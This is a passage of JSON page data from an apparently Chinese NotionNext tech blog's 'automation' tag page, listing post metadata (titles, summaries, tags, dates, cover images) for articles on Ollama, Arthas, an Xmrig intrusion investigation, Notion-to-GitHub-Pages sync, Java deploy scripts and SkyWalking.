2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":2,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""}],"tag":"自动化"},"__N_SSG":true},"page":"/tag/[tag]","query":{"tag":"自动化"},"buildId":"mm0_cWkCfdum_vxo9wL_b","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file